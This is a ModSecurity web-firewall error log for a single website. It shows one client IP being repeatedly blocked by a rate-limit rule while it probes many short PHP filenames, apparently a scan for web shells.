[Fri Feb 27 08:13:48.866009 2026] [:error] [pid 53573:tid 53620] [client 51.12.82.80:2174] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDhvBPJaCbFB2BWKcf64gAAAJA"]
[Fri Feb 27 08:13:49.390181 2026] [:error] [pid 53659:tid 53666] [client 51.12.82.80:10161] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDhvSqRZk6OYWF729RElwAAAUU"]
[Fri Feb 27 08:13:49.944108 2026] [:error] [pid 53659:tid 53679] [client 51.12.82.80:10164] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDhvSqRZk6OYWF729REmgAAAVI"]
[Fri Feb 27 08:13:50.475225 2026] [:error] [pid 53659:tid 53662] [client 51.12.82.80:25440] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/er.php"] [unique_id "aaDhviqRZk6OYWF729REoAAAAUE"]
[Fri Feb 27 08:13:51.008795 2026] [:error] [pid 53573:tid 53621] [client 51.12.82.80:20259] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDhvxPJaCbFB2BWKcf66QAAAJE"]
[Fri Feb 27 08:13:51.537042 2026] [:error] [pid 53659:tid 53671] [client 51.12.82.80:9805] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDhvyqRZk6OYWF729REpgAAAUo"]
[Fri Feb 27 08:13:52.072217 2026] [:error] [pid 53573:tid 53614] [client 51.12.82.80:9838] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDhwBPJaCbFB2BWKcf66gAAAIo"]
[Fri Feb 27 08:13:52.594996 2026] [:error] [pid 53573:tid 53612] [client 51.12.82.80:28390] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fault.php"] [unique_id "aaDhwBPJaCbFB2BWKcf67QAAAIg"]
[Fri Feb 27 08:13:53.127071 2026] [:error] [pid 53574:tid 53645] [client 51.12.82.80:7241] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDhwQnAgABR7uoOZTvmQQAAAM4"]
[Fri Feb 27 08:13:53.653478 2026] [:error] [pid 53574:tid 53633] [client 51.12.82.80:9159] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDhwQnAgABR7uoOZTvmRAAAAMI"]
[Fri Feb 27 08:13:54.179425 2026] [:error] [pid 53659:tid 53684] [client 51.12.82.80:30194] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDhwiqRZk6OYWF729RErgAAAVc"]
[Fri Feb 27 08:13:54.731709 2026] [:error] [pid 53659:tid 53675] [client 51.12.82.80:27740] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "aaDhwiqRZk6OYWF729REsAAAAU4"]
[Fri Feb 27 08:13:55.272373 2026] [:error] [pid 53659:tid 53674] [client 51.12.82.80:2148] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDhwyqRZk6OYWF729REsgAAAU0"]
[Fri Feb 27 08:13:55.796843 2026] [:error] [pid 53659:tid 53667] [client 51.12.82.80:22221] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDhwyqRZk6OYWF729REtgAAAUY"]
[Fri Feb 27 08:13:56.328137 2026] [:error] [pid 53659:tid 53680] [client 51.12.82.80:30147] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDhxCqRZk6OYWF729REtwAAAVM"]
[Fri Feb 27 08:13:56.934273 2026] [:error] [pid 53572:tid 53600] [client 51.12.82.80:10119] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/66.php"] [unique_id "aaDhxDIt6h9cL2-penYtdAAAABc"]
[Fri Feb 27 08:13:57.463304 2026] [:error] [pid 53574:tid 53649] [client 51.12.82.80:20283] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDhxQnAgABR7uoOZTvmUgAAANI"]
[Fri Feb 27 08:13:58.016763 2026] [:error] [pid 53573:tid 53608] [client 51.12.82.80:7243] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDhxhPJaCbFB2BWKcf6-AAAAIQ"]
[Fri Feb 27 08:13:58.590226 2026] [:error] [pid 53659:tid 53684] [client 51.12.82.80:27768] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDhxiqRZk6OYWF729REugAAAVc"]
[Fri Feb 27 08:13:59.119190 2026] [:error] [pid 53573:tid 53614] [client 51.12.82.80:7232] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/leuk.php"] [unique_id "aaDhxxPJaCbFB2BWKcf6_QAAAIo"]
[Fri Feb 27 08:14:02.397933 2026] [:error] [pid 54101:tid 54111] [client 51.12.82.80:27748] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDhylY5qgRktcYTGFuvtwAAAcM"]
[Fri Feb 27 08:14:02.934900 2026] [:error] [pid 54101:tid 54128] [client 51.12.82.80:24872] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDhylY5qgRktcYTGFuvywAAAdQ"]
[Fri Feb 27 08:14:03.467265 2026] [:error] [pid 54231:tid 54234] [client 51.12.82.80:27759] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDhy-Tvb5AeyJCdY7AJ9gAAAEA"]
[Fri Feb 27 08:14:04.007701 2026] [:error] [pid 54102:tid 54147] [client 51.12.82.80:19577] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aaDhzHi74D4fiYUm_GfH-AAAAIM"]
[Fri Feb 27 08:14:04.540685 2026] [:error] [pid 54103:tid 54174] [client 51.12.82.80:19551] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDhzOvG4MPCmE0B2sDe3wAAAMM"]
[Fri Feb 27 08:14:05.089594 2026] [:error] [pid 54103:tid 54180] [client 51.12.82.80:20676] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDhzevG4MPCmE0B2sDe4wAAAMk"]
[Fri Feb 27 08:14:05.618072 2026] [:error] [pid 54101:tid 54109] [client 51.12.82.80:14233] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDhzVY5qgRktcYTGFuv6QAAAcE"]
[Fri Feb 27 08:14:06.148019 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:11082] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aaDhzuTvb5AeyJCdY7AJ9wAAAEE"]
[Fri Feb 27 08:14:06.715957 2026] [:error] [pid 54101:tid 54128] [client 51.12.82.80:14231] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDhzlY5qgRktcYTGFuv-AAAAdQ"]
[Fri Feb 27 08:14:07.287575 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:34760] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDhz-Tvb5AeyJCdY7AJ_QAAAEg"]
[Fri Feb 27 08:14:07.825357 2026] [:error] [pid 54231:tid 54250] [client 51.12.82.80:23362] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDhz-Tvb5AeyJCdY7AKAwAAAFA"]
[Fri Feb 27 08:14:08.385803 2026] [:error] [pid 54101:tid 54128] [client 51.12.82.80:24892] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aaDh0FY5qgRktcYTGFuwCQAAAdQ"]
[Fri Feb 27 08:14:08.945974 2026] [:error] [pid 54103:tid 54190] [client 51.12.82.80:34813] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaDh0OvG4MPCmE0B2sDe6wAAANM"]
[Fri Feb 27 08:14:09.490923 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:23361] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaDh0evG4MPCmE0B2sDe7QAAANc"]
[Fri Feb 27 08:14:10.055712 2026] [:error] [pid 54101:tid 54112] [client 51.12.82.80:27713] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaDh0lY5qgRktcYTGFuwHgAAAcQ"]
[Fri Feb 27 08:14:10.607761 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:35359] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aaDh0uTvb5AeyJCdY7AKDQAAAEc"]
[Fri Feb 27 08:14:11.138280 2026] [:error] [pid 54231:tid 54248] [client 51.12.82.80:9106] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aaDh0-Tvb5AeyJCdY7AKFAAAAE4"]
[Fri Feb 27 08:14:11.698440 2026] [:error] [pid 54231:tid 54257] [client 51.12.82.80:5334] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aaDh0-Tvb5AeyJCdY7AKHwAAAFc"]
[Fri Feb 27 08:14:12.272862 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:24877] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aaDh1OTvb5AeyJCdY7AKLAAAAE8"]
[Fri Feb 27 08:14:12.822094 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:29817] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aaDh1OTvb5AeyJCdY7AKNAAAAE0"]
[Fri Feb 27 08:14:13.406660 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:23277] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaDh1eTvb5AeyJCdY7AKOAAAAEg"]
[Fri Feb 27 08:14:13.944853 2026] [:error] [pid 54231:tid 54258] [client 51.12.82.80:23024] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaDh1eTvb5AeyJCdY7AKOwAAAFg"]
[Fri Feb 27 08:14:14.480197 2026] [:error] [pid 54103:tid 54190] [client 51.12.82.80:6972] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaDh1uvG4MPCmE0B2sDfEgAAANM"]
[Fri Feb 27 08:14:15.024202 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:35330] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aaDh13i74D4fiYUm_GfIAwAAAJI"]
[Fri Feb 27 08:14:15.570937 2026] [:error] [pid 54103:tid 54170] [client 51.12.82.80:7247] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaDh1-vG4MPCmE0B2sDfGgAAAMA"]
[Fri Feb 27 08:14:16.106910 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:12271] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaDh2OTvb5AeyJCdY7AKRgAAAEE"]
[Fri Feb 27 08:14:16.755264 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:23249] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaDh2OTvb5AeyJCdY7AKTAAAAEk"]
[Fri Feb 27 08:14:17.328604 2026] [:error] [pid 54102:tid 54168] [client 51.12.82.80:29765] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aaDh2Xi74D4fiYUm_GfICAAAAJc"]
[Fri Feb 27 08:14:17.867793 2026] [:error] [pid 54231:tid 54252] [client 51.12.82.80:34753] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaDh2eTvb5AeyJCdY7AKTwAAAFI"]
[Fri Feb 27 08:14:18.511086 2026] [:error] [pid 54102:tid 54149] [client 51.12.82.80:9200] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaDh2ni74D4fiYUm_GfIDQAAAIU"]
[Fri Feb 27 08:14:19.081103 2026] [:error] [pid 54102:tid 54148] [client 51.12.82.80:6964] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaDh23i74D4fiYUm_GfIDgAAAIQ"]
[Fri Feb 27 08:14:19.685939 2026] [:error] [pid 54101:tid 54126] [client 51.12.82.80:34772] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aaDh21Y5qgRktcYTGFuwWgAAAdI"]
[Fri Feb 27 08:14:20.280890 2026] [:error] [pid 54103:tid 54184] [client 51.12.82.80:10164] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaDh3OvG4MPCmE0B2sDfIAAAAM0"]
[Fri Feb 27 08:14:20.899358 2026] [:error] [pid 54102:tid 54158] [client 51.12.82.80:2997] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaDh3Hi74D4fiYUm_GfIFAAAAI4"]
[Fri Feb 27 08:14:21.497316 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:6960] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaDh3eTvb5AeyJCdY7AKYgAAAEo"]
[Fri Feb 27 08:14:22.155826 2026] [:error] [pid 54101:tid 54115] [client 51.12.82.80:14700] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cu.php"] [unique_id "aaDh3lY5qgRktcYTGFuwYQAAAcc"]
[Fri Feb 27 08:14:22.747177 2026] [:error] [pid 54101:tid 54121] [client 51.12.82.80:7241] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aaDh3lY5qgRktcYTGFuwZQAAAc0"]
